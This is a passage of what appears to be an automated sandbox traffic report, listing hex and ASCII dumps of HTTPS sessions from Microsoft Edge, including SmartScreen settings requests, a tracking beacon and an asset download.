f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49803	4.153.29.52	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:51 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiNnV6ZWpkemI2S3BlZHVucXlvVmYzdz09IiwgImhhc2giOiJyQzVJUzdEcGNTcz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-25 02:39:51 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-25 02:39:51 UTC	302	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:51 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-11-25 02:39:51 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-25 02:39:52 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49787	18.165.220.106	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:53 UTC	925	OUT	GET /b?rn=1732502392390&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=05128E14A2366A7423409B56A39E6B9C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:54 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 25 Nov 2024 02:39:53 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732502392390&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=05128E14A2366A7423409B56A39E6B9C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1257dd61d716b0d2e7f3d941732502393; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1257dd61d716b0d2e7f3d941732502393; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 8970b72cbe096ea273456c181c4882ce.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: IgvHfS7mP33TgCon_O9wwQMtESPo9bjhAxFQBGDQmP_DX2WdnhCBWw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49811	13.107.246.40	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:53 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
